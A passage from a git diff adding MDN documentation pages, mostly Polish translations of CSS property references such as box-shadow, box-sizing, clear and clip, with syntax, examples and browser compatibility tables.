+<p><img alt="A screenshot of the rendering of the second inline element example." src="https://mdn.mozillademos.org/files/8189/box-decoration-break-slice-inline-2.png" style="height: 184px; width: 108px;"></p>
+
+<p><a href="https://mdn.mozillademos.org/files/8191/box-decoration-break-inline-extreme.html">Try the above example</a> in your browser.</p>
+
+<h3 id="Block_box_fragments">Block box fragments</h3>
+
+<p>A block element with similar styles as above, first without any fragmentation:</p>
+
+<p><img alt="A screenshot of the rendering of the block element used in the examples without any fragmentation." src="https://mdn.mozillademos.org/files/8181/box-decoration-break-block.png" style="height: 149px; width: 333px;"></p>
+
+<p>Fragmenting the above block into three columns results in:</p>
+
+<p><img alt="A screenshot of the rendering of the fragmented block used in the examples styled with box-decoration-break:slice." src="https://mdn.mozillademos.org/files/8183/box-decoration-break-block-slice.png" style="height: 55px; max-width: none; width: 1025px;"></p>
+
+<p>Note that stacking these pieces vertically will result in the non-fragmented rendering.</p>
+
+<p>Now the same example styled with <code>box-decoration-break:clone</code></p>
+
+<p><img alt="A screenshot of the rendering of the fragmented block used in the examples styled with box-decoration-break:clone." src="https://mdn.mozillademos.org/files/8185/box-decoration-break-block-clone.png" style="height: 61px; max-width: none; width: 1023px;"></p>
+
+<p>Note here that each fragment has an identical replicated border, box-shadow and background.</p>
+
+<p>You can <a href="https://mdn.mozillademos.org/files/8187/box-decoration-break-block.html">try the block examples above</a> in your browser.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Fragmentation', '#break-decoration', 'box-decoration-break') }}</td>
+ <td>{{ Spec2('CSS3 Fragmentation') }}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Support on inline elements</td>
+ <td>{{ CompatVersionUnknown() }}{{property_prefix("-webkit")}}</td>
+ <td>{{CompatGeckoDesktop(32.0)}} [1]</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}{{property_prefix("-o")}}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td>Support on non-inline element</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop(32.0)}} [1]</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Support on inline elements</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatGeckoMobile("32.0")}}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ </tr>
+ <tr>
+ <td>Support on non-inline element</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoMobile("32.0")}}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{ CompatUnknown() }}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Note that Firefox implemented an non-standard version of this property before Firefox 32 named {{ Cssxref("-moz-background-inline-policy") }}. That property is unsupported since Firefox 32.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li>
+</ul>
diff --git a/files/pl/web/css/box-direction/index.html b/files/pl/web/css/box-direction/index.html
new file mode 100644
index 0000000000..eb85a1dad0
--- /dev/null
+++ b/files/pl/web/css/box-direction/index.html
@@ -0,0 +1,72 @@
+---
+title: '-moz-box-direction'
+slug: Web/CSS/box-direction
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - 'CSS:Rozszerzenia_Mozilli'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/box-direction
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>{{warning("This property reflects an old version of the specification. The <code>-moz-box-direction</code> will only be used for XUL while the standard <code>box-direction</code> has been replaced by <code>flex-direction</code> (which belongs to the CSS Flexible Box Layout Module currently under the Working Draft status).")}}</p>
+
+<p>W aplikacjach opartych na Mozilli <code>-moz-box-direction</code> określa, czy pudełko rozkłada swoją zawartość normalnie (od górnej lub lewej krawędzi), czy w odwróceniu (od dolnej lub prawej krawędzi).</p>
+
+<ul>
+ <li>Wartość początkowa: normal</li>
+ <li>Dotyczy: elementy z własnością CSS <a href="pl/CSS/display">display</a> o wartości -moz-box lub -moz-inline-box</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: nie dotyczą</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-box-direction: normal | reverse
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>normal</dt>
+ <dd>Pudełko rozkłada swoją zawartość od początku (lewej lub górnej krawędzi).</dd>
+ <dt>reverse</dt>
+ <dd>Pudełko rozkłada swoją zawartość od końca (prawej lub dolnej krawędzi).</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>vbox.example {
+ -moz-box-direction: reverse; /* układ od dołu do góry */
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Krawędź pudełka określona jako<em>start</em> dla docelowego układu zależy od orientacji pudełka:</p>
+
+<table style="text-align: center;">
+ <tbody>
+ <tr>
+ <td style="text-align: right;"><strong>Pozioma</strong></td>
+ <td>lewa</td>
+ </tr>
+ <tr>
+ <td style="text-align: right;"><strong>Pionowa</strong></td>
+ <td>górna</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Krawędź przeciwna do początkowej określana jest jako<em>end</em>.</p>
+
+<p>Jeśli kierunek jest ustawiony przy użyciu atrybutu dir elementu, wtedy styl jest ignorowany.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p><a href="pl/CSS/-moz-box-orient">CSS:-moz-box-orient</a></p>
diff --git a/files/pl/web/css/box-shadow/index.html b/files/pl/web/css/box-shadow/index.html
new file mode 100644
index 0000000000..feb07aaf0f
--- /dev/null
+++ b/files/pl/web/css/box-shadow/index.html
@@ -0,0 +1,222 @@
+---
+title: box-shadow
+slug: Web/CSS/box-shadow
+tags:
+ - Adnotacja
+ - CSS
+ - CSS3
+ - Grafika
+ - Referencja
+ - Tło CSS
+ - Tło CSS3
+ - Układ
+ - Właściwość CSS
+ - sieć
+translation_of: Web/CSS/box-shadow
+---
+<p>{{CSSRef()}}</p>
+
+<p> </p>
+
+<div class="callout-box">
+<p><strong>Generator box-shadow</strong></p>
+
+<p><a href="/en-US/docs/Web/CSS/Tools/Box-shadow_generator" title="/en-US/docs/Web/CSS/Tools/Box-shadow_generator">Interaktywne narzędzie</a> pozwalające stworzyć efekt box-shadow.</p>
+</div>
+
+<p><span class="seoSummary"><code><font face="Open Sans, sans-serif">Właściwość CSS </font>box-shadow</code> określa jeden lub więcej efektów cieniowych jako przecinkowo-rozdzielaną listę.</span> Pozwala na rzucenie cienia z prawie każdego elementu. Jeśli {{ cssxref("-moz-border-radius") }} jest zadeklarowany na elemencie na którym zadeklarowany jest także <code>box-shadow</code>, właściwość przybiera wartość z {{ cssxref("-moz-border-radius") }} i tworzy zaokrąglony cień. Użycie <code>box-shadow</code> wraz z {{ cssxref("z-index") }} daje taki sam efekt jak wielokrotne użycie <a href="/en-US/CSS/text-shadow" title="text-shadow">cienia tekstu</a> (pierwszy zadeklarowany cień jest wyświetlany ponad wszystkimi).</p>
+
+<ul>
+ <li><a href="/pl/docs/Web/CSS/Warto%C5%9B%C4%87_pocz%C4%85tkowa">Wartość początkowa</a>: Szczegóły widoczne poniżej.</li>
+ <li>Dotyczy: Każdy element.</li>
+ <li><a href="/pl/docs/Web/CSS/dziedziczenie">Dziedziczona</a>: Nie.</li>
+ <li><a href="/pl/docs/Web/CSS/@media">@media</a>: Wizualna.</li>
+ <li>Wartość wyliczona: Każda długość absolutna; każdy kolor; inaczej jak zapisano poniżej.</li>
+ <li>Animowana: Tak, jako lista cieni.</li>
+ <li>Porządek kanoniczny: Unikatowy niedwuznaczny porządek określany według formalnej gramatyki. </li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox">box-shadow: none | [inset? &amp;&amp; [ &lt;offset-x&gt; &lt;offset-y&gt; &lt;blur-radius&gt;? &lt;spread-radius&gt;? &lt;color&gt;? ] ]#</pre>
+
+<h3 id="Values" name="Values">Wartości</h3>
+
+<dl>
+ <dt><code>inset</code></dt>
+ <dd>Jeśli inset nie zostanie ustalony (domyślnie), cień będzie wyświetlany ponad elementem. Jeśli zostanie użyty <code>inset,</code> cień zawrze się wewnątrz elementu. Cienie wewnętrzne są rysowane wewnątrz elementu (nawet przeźroczyste), ponad tłem, ale poniżej zawartości.</dd>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code></dt>
+ <dd>Są dwie wartości {{ cssxref("&lt;length&gt;") }}, które określają odległość. <code>&lt;offset-x&gt;</code> oznacza odległość poziomą. Ujemne wartości umieszczają cień na lewo od elementu. <code>&lt;offset-y&gt;</code> wyznacza odległość pionową. Ujemne wartości umiesczają cień ponad elementem. Zobacz {{ cssxref("&lt;length&gt;") }} dla możliwych jednostek.<br>
+ Jeśli obydwie wartości przyjmują <code>0</code>, cień jest umiejscowiony za elementem (i może swtorzyć efekt rozmycia jeśli <code>&lt;blur-radius&gt;</code> oraz/lub <code>&lt;spread-radius&gt;</code> jest określony).</dd>
+ <dt><code>&lt;blur-radius&gt;</code></dt>
+ <dd>To jest trzecia wartość {{ cssxref("&lt;length&gt;") }}. Im większa, tym większe jest rozmycie i w efekcie cień jest większy oraz łagodniejszy. Ujemne wartości są niedozwolone. Jeśli nie ustalona, przyjmuje wartość domyślną <code>0</code> (krawędź cienia jest ostra).</dd>
+ <dt><code>&lt;spread-radius&gt;</code></dt>
+ <dd>To jest czwarta wartość {{ cssxref("&lt;length&gt;") }}. Nieujemne wartości będą powodować zwiększanie się cienia, a ujemne jego zmniejszanie. Jeśli nie ustalona, domyślnie przyjmuje wartość <code>0</code> (cień będzie tego samego rozmiaru co element).</dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Zobacz {{cssxref("&lt;color&gt;")}} dla możliwych słów kluczowych oraz notacji.<br>
+ Jeśli nie ustalona, przyjmuje kolor zależny od przeglądarki - aktualnie jest to wartość {{ cssxref("color") }}, lecz Safari tworzy przeźroczysty cień w tej sytuacji.</dd>
+</dl>
+
+<h2 id="Live_examples" name="Live_examples">Przykłady</h2>
+
+<ul>
+ <li><a class="external" href="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html" title="http://www.elektronotdienst-nuernberg.de/bugs/box-shadow_inset.html">Test box-shadow</a></li>
+ <li><a class="external" href="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/" title="http://markusstange.wordpress.com/2009/02/15/fun-with-box-shadows/">Kurs oraz przykłady box-shadow</a></li>
+</ul>
+
+<pre style="-moz-box-shadow: 60px -16px teal; -webkit-box-shadow: 60px -16px teal; box-shadow: 60px -16px teal; float: left; margin: 1em;">box-shadow: 60px -16px teal;</pre>
+
+<pre style="-moz-box-shadow: 10px 5px 5px black; -webkit-box-shadow: 10px 5px 5px black; box-shadow: 10px 5px 5px black; float: left; margin: 1em;">box-shadow: 10px 5px 5px black;</pre>
+
+<pre style="-moz-box-shadow: 3px 3px red, -1em 0pt 0.4em olive; -webkit-box-shadow: 3px 3px red, -1em 0 0.4em olive; box-shadow: 3px 3px red, -1em 0 0.4em olive; float: left; margin: 1em;">box-shadow: 3px 3px red, -1em 0 0.4em olive;</pre>
+
+<pre style="-moz-box-shadow: 5em 1em gold inset; -webkit-box-shadow: inset 5em 1em gold; box-shadow: inset 5em 1em gold; float: left; margin: 1em;">box-shadow: inset 5em 1em gold;</pre>
+
+<pre style="-moz-box-shadow: 0 0 1em gold; -webkit-box-shadow: 0 0 1em gold; box-shadow: 0 0 1em gold; float: left; margin: 1em;">box-shadow: 0 0 1em gold;</pre>
+
+<pre style="-moz-box-shadow: 0 0 1em gold inset; -webkit-box-shadow: inset 0 0 1em gold; box-shadow: inset 0 0 1em gold; float: left; margin: 1em;">box-shadow: inset 0 0 1em gold;</pre>
+
+<pre style="-moz-box-shadow: 0 0 1em gold inset, 0 0 1em red; -webkit-box-shadow: inset 0 0 1em gold, 0 0 1em red; box-shadow: inset 0 0 1em gold, 0 0 1em red; float: left; margin: 1em;">box-shadow: inset 0 0 1em gold, 0 0 1em red;</pre>
+
+<h2 class="cleared" id="Specifications" name="Specifications">Specyfikacja</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}</td>
+ <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarkami</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Właściwość</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>10.0<br>
+ 1.0{{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatGeckoDesktop("2.0") }}<br>
+ {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td>
+ <td>9.0 (Zobacz notatki)</td>
+ <td>10.5</td>
+ <td>5.1 (WebKit 534)<br>
+ 3.0 (WebKit 522){{ property_prefix("-webkit") }}</td>
+ </tr>
+ <tr>
+ <td>Wielokrotne cienie</td>
+ <td>10.0<br>
+ 1.0{{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatGeckoDesktop("2.0") }}<br>
+ {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>5.1 (WebKit 534)<br>
+ 3.0 (WebKit 522){{ property_prefix("-webkit") }}</td>
+ </tr>
+ <tr>
+ <td>Wartość<code> inset</code></td>
+ <td>10.0<br>
+ 4.0{{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatGeckoDesktop("2.0") }}<br>
+ {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>5.1 (WebKit 534)<br>
+ 5.0 (WebKit 533){{ property_prefix("-webkit") }}</td>
+ </tr>
+ <tr>
+ <td><code>spread-radius</code></td>
+ <td>10.0<br>
+ 4.0{{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatGeckoDesktop("2.0") }}<br>
+ {{ CompatGeckoDesktop("1.9.1") }}{{ property_prefix("-moz") }}</td>
+ <td>9.0</td>
+ <td>10.5</td>
+ <td>5.1 (WebKit 534)<br>
+ 5.0 (WebKit 533){{ property_prefix("-webkit") }}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p> </p>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Właściwość</th>
+ <th>iOS Safari</th>
+ <th>Opera Mini</th>
+ <th>Opera Mobile</th>
+ <th>Android Browser</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>
+ <p>5.0<br>
+ {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</p>
+ </td>
+ <td>{{ CompatUnknown }}</td>
+ <td>Obsługuje</td>
+ <td>Obsługuje (2.2 tested) {{ property_prefix("-webkit") }}</td>
+ </tr>
+ <tr>
+ <td>Wielokrotne cienie</td>
+ <td>5.0<br>
+ {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>{{ CompatUnknown }}</td>
+ </tr>
+ <tr>
+ <td>Wartość <code>inset</code></td>
+ <td>5.0<br>
+ {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>{{ CompatUnknown }}</td>
+ </tr>
+ <tr>
+ <td><code>spread-radius</code></td>
+ <td>5.0<br>
+ {{ CompatVersionUnknown }}{{ property_prefix("-webkit") }}</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>{{ CompatUnknown }}</td>
+ <td>{{ CompatUnknown }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notatki">Notatki</h3>
+
+<ul>
+ <li>Od wersji 5.5, Internet Explorer obsługuje Microsoft's <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532985%28VS.85,loband%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms532985(VS.85,loband).aspx">DropShadow</a> i filtr <a class="external" href="http://msdn.microsoft.com/en-us/library/ms533086%28VS.85,loband%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533086(VS.85,loband).aspx">Shadow</a>. Możesz użyć tych rozszerzeń aby stworzyć cień (chociaż składnia oraz efekt różnią się od CSS3).</li>
+ <li>Cienie mają wpły na układ w starszych silnikach Gecko, Presto i WebKit; np. jeśli utworzomy zewnętrzny cień to przy elemencie z <code>width: 100%</code> zobaczysz pasek przewijania.</li>
+ <li>W Gecko 13 (Firefox 13) zostało usunięte wsparcie dla <code>-moz-box-shadow</code>. Od tego czasu, tylko wersja bez <code>-moz- jest wspierana</code>.</li>
+ <li>Aby uzyskać efekt <code>box-shadow</code> w IE9 lub późniejszych, musisz ustawić {{ cssxref("border-collapse") }} na <code>separate</code>.</li>
+</ul>
diff --git a/files/pl/web/css/box-sizing/index.html b/files/pl/web/css/box-sizing/index.html
new file mode 100644
index 0000000000..35cb212b99
--- /dev/null
+++ b/files/pl/web/css/box-sizing/index.html
@@ -0,0 +1,45 @@
+---
+title: box-sizing
+slug: Web/CSS/box-sizing
+tags:
+ - CSS
+translation_of: Web/CSS/box-sizing
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>box-sizing</code> jest używane przez przeglądarki oparte na Mozilli do zmiany domyślnego modelu pudełkowego CSS, używanego do obliczania szerokości i wysokości elementów. Możliwe jest użycie tej własności do zezwolenia Mozilli na naśladowanie zachowania przeglądarek, które nieprawidłowo wspierają specyfikację modelu pudełkowego CSS, chociaż nie jest to zalecane, jako że większość przeglądarek zgodnych ze standardami nie wspiera tej własności.</p>
+
+<ul>
+ <li>Wartość początkowa: content-box</li>
+ <li>Dotyczy: wszystkie elementy</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: nie dotyczą</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">box-sizing: content-box | border-box | padding-box
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>content-box</dt>
+ <dd>Jest to domyślny styl, jak określa go standard CSS. Własności <code>width</code> i <code>height</code> są wymierzane zawierając tylko zawartość, ale nie <code>border</code>, <code>margin</code> lub <code>padding</code>.</dd>
+ <dt>padding-box</dt>
+ <dd>Własności <code>width</code> i <code>height</code> zawierają rozmiar dopełnienia (<code>padding</code>), ale nie zawierają obramowania (<code>border</code>) ani marginesu (<code>margin</code>).</dd>
+ <dt>border-box</dt>
+ <dd>Własności <code>width</code> i <code>height</code> zawierają dopełnienie i obramowanie, ale nie margines. Jest to model pudełkowy używany przez Internet Explorer, kiedy dokument nie jest w trybie zgodności ze standardami <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dhtmltechcol/dndhtml/cssenhancements.asp">. </a></dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>.exampleone {
+ box-sizing: padding-box;
+}
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/css/clear/index.html b/files/pl/web/css/clear/index.html
new file mode 100644
index 0000000000..5948d08cc0
--- /dev/null
+++ b/files/pl/web/css/clear/index.html
@@ -0,0 +1,98 @@
+---
+title: clear
+slug: Web/CSS/clear
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/clear
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Właściwość clear określa, czy dany element pojawi się obok <a href="pl/CSS/float">pływających</a> elementów, które go poprzedzają, czy też ma zostać przesunięty poniżej tychże.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li>
+ <li>Stosowana do: elementy blokowe (włączając pływające)</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">clear: none | left | right | both | <a href="pl/CSS/inherit">inherit</a>
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<ul>
+ <li><strong>none</strong> : Element<em>nie</em> jest przesuwany poniżej elementów pływających.</li>
+ <li><strong>left</strong> : Element jest przesuwany poniżej elementów pływających po lewej.</li>
+ <li><strong>right</strong> : Element jest przesuwany poniżej elementów pływających po prawej.</li>
+ <li><strong>both</strong> : Element jest przesuwany poniżej elementów pływających po obu stronach.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/clear.html">Zobacz przykład</a></p>
+
+<pre>h1 { clear: none }
+h2 { clear: right }</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Własność <code>clear</code> stosuje się zarówno do pływających, jak i niepływających elementów.</p>
+
+<p>Kiedy odnosi się do niepływających elementów blokowych, przesuwa ona krawędź obramowania elementu w dół, dopóki nie znajdzie się pod krawędzią marginesu wszystkich danych elementów pływających. To przemieszczenie (kiedy ma miejsce) nie powoduje <a href="pl/CSS/Za%c5%82amanie_marginesu">załamania marginesu</a>.</p>
+
+<p>Kiedy odnosi się do elementów pływających, przesuwa <a href="pl/CSS/Kraw%c4%99dzie_elementu_blokowego">krawędź marginesu</a> tego elementu poniżej <a href="pl/CSS/Kraw%c4%99dzie_elementu_blokowego">krawędzi marginesu</a> wszystkich danych elementów pływających. Wpływa to na pozycję późniejszych elementów pływających, ponieważ te nie mogą być pozycjonowane wyżej niż poprzednie.</p>
+
+<p>Elementy pływające, na które wpływa własność <code>clear</code> są wcześniejszymi elementami pływającymi w tym samym <a href="pl/CSS/Blok_formatowania_kontekstu">bloku formatowania kontekstu</a>.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-CSS1#clear">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-clear">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Mozilla</td>
+ <td>1</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("float") }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/clear", "fr": "fr/CSS/clear" } ) }}</p>
diff --git a/files/pl/web/css/clip/index.html b/files/pl/web/css/clip/index.html
new file mode 100644
index 0000000000..3ade3a5941
--- /dev/null
+++ b/files/pl/web/css/clip/index.html
@@ -0,0 +1,92 @@
+---
+title: clip
+slug: Web/CSS/clip
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/clip
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność CSS <code>clip</code> określa, jaka część elementu jest widoczna.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: auto</li>
+ <li>Stosowana do: elementy pozycjonowane absolutnie</li>
+ <li>{{ Xref_cssinherited() }}: nie</li>
+ <li>Procenty: n/a</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: Dla wartości prostokątnych, prostokąt składający się z czterech wyliczonych długości, w innych przypadku - jako określone</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">clip: &lt;shape&gt; | auto | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;shape&gt;")}}</dt>
+ <dd>określa kształt w formie <code>rect(&lt;top&gt;, &lt;right&gt;, &lt;bottom&gt;, &lt;left&gt;);</code></dd>
+ <dt>{{ Cssxref("auto") }}</dt>
+ <dd> </dd>
+ <dt>{{ Cssxref("inherit") }}</dt>
+ <dd> </dd>
+</dl>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre> img.clip04 {
+ clip: rect(10px, 20px, 20px, 10px);
+ }
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visufx.html#clip">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>1</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>7</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>1</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("overflow") }}, {{ Cssxref("position") }}</p>
+
+<p>{{ languages( { "en": "en/CSS/clip", "fr": "fr/CSS/clip" } ) }}</p>
diff --git a/files/pl/web/css/color/index.html b/files/pl/web/css/color/index.html
new file mode 100644
index 0000000000..20f670855e
--- /dev/null
+++ b/files/pl/web/css/color/index.html
@@ -0,0 +1,62 @@
+---
+title: color
+slug: Web/CSS/color
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/color
+---
+<p> {{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><code>color</code> ustawia pierwszoplanowy kolor dla zawartości tekstowej elementu.
+</p>
+<ul><li> {{ Xref_cssinitial() }}: zależy od programu użytkownika
+</li><li> Stosowana do: wszystkich elementów
+</li><li> {{ Xref_cssinherited() }}: tak
+</li><li> Procenty: niedostępne
+</li><li> Media: {{ Xref_cssvisual() }}
